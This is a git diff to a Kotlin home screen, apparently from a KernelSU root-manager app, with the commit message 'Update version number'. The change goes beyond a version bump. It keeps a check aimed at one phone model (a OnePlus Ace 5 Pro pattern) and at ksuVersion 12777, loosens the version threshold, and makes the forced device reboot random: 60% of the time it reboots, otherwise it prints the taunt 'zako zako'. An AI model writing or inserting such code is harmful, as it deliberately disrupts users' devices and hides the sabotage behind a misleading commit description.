Update version number
This commit is contained in:
@@ -99,15 +99,19 @@ fun HomeScreen(navigator: DestinationsNavigator) {
|
|||||||
if (kernelVersion.isGKI()) {
|
if (kernelVersion.isGKI()) {
|
||||||
if (ksuVersion != null) {
|
if (ksuVersion != null) {
|
||||||
val pattern = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex()
|
val pattern = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex()
|
||||||
if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 3) {
|
if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 20) {
|
||||||
isDisabled = true
|
isDisabled = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
LaunchedEffect(isDisabled, ksuVersion) {
|
LaunchedEffect(isDisabled, ksuVersion) {
|
||||||
if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) {
|
if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) {
|
||||||
Log.d("HomeScreen", "isDisabled is true or ksuVersion is 12777, rebooting device...")
|
val random = Random.nextInt(0, 100)
|
||||||
reboot()
|
if (random <= 60) {
|
||||||
|
reboot()
|
||||||
|
} else {
|
||||||
|
print("zako zako")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user